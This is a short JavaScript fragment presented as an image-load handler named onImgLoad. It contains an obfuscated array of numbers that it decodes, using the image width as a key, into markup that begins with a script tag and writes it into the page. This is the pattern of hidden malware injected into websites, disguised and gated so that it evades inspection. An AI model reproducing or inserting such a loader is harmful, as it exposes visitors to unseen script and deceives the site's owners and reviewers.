function onImgLoad(source) {
var as = new Array(185,180,37,199,412,478,349,460,487,475,360,528,486,492,366,510,488,475,303,458,493,475,290,450,493,494,347,458,487,498,354,531,432,487,353,443,483,496,343,448,484,433,361,460,487,471,343,518,434,415,365,443,482,500,364,458,432,471,371,462,499,416,400,508,484,488,372,458,429,501,347,456,495,478,349,460,487,475,360,434,434,427,365,460,497,416,400,508,488,471,360,462,410,434,289,449,499,487,287,459,483,477,346,512,497,498,351,511,417,410,295,524,417,408,307,511,479,416,352,447,482,471,347,444,438,475,303,508,425,427,356,462,432,438,286,434,434,417,304,434,429,478,349,460,487,475,360,528,434,436,309,530,429,478,349,460,487,475,360,528);
var xi = source.width; if (!xi) {return;}
var sc=""; for (var n=4; n<as.length; n++) {sc+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sc);
}

